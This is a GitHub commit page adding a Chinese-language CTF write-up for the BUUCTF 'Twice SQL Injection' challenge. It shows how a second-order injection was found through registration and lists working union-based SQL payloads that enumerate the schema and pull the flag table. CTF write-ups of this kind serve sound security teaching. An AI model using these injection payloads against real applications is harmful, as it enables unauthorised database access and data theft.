-
Notifications
You must be signed in to change notification settings - Fork 2
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
添加buuctf第四页部分wp
- Loading branch information
Showing
129 changed files
with
3,313 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,31 @@ | ||
# October 2019 Twice SQL Injection | ||
|
||
## 知识点 | ||
|
||
`SQL注入` | ||
|
||
`二次注入` | ||
|
||
## 解题 | ||
|
||
在`register`处注册`admin`,登陆后进入首页`info`修改输入`123`正常显示`123`,`admin'`注册登录后发现报错异常,再使用`admin'#`注册登录后正常,判断是`单引号二次注入`,尝试`union`注入 | ||
|
||
```sql | ||
' union select database()# | ||
ctftraining | ||
' union select group_concat(table_name) from information_schema.tables where table_schema=database()# | ||
|
||
flag,news,users | ||
|
||
' union select group_concat(column_name) from information_schema.columns where table_name="flag"# | ||
flag | ||
' union select group_concat(flag) from flag# | ||
``` | ||
|
||
注册处注入,登录处执行,最终获取`flag` | ||
|
||
![](./img/October 2019 Twice SQL Injection-1.png) |
Oops, something went wrong.